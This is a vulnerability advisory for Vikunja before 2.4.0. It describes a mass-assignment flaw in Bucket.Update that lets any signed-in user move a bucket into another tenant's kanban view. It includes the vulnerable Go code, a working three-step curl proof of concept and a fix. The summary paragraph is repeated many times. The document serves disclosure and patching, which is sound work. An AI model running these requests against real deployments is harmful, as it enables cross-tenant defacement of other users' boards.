Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.
## Summary
`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
## Vulnerable code
`pkg/models/kanban.go` (lines 348-359):
```go
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}
```
`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through.
## Proof of Concept
**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`.
**Step 1:** Attacker creates a fresh bucket in their own project.
```bash
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7
```
**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks.
```bash
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }
```
**Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
```bash
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]
```
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration.
## Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
## Fix
In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.
Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment in code.vikunja.io/api.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: code.vikunja.io/api before v2.4.0.
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Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body project_view_id value to be mass assigned by Bucket.Update in pkg/models/k…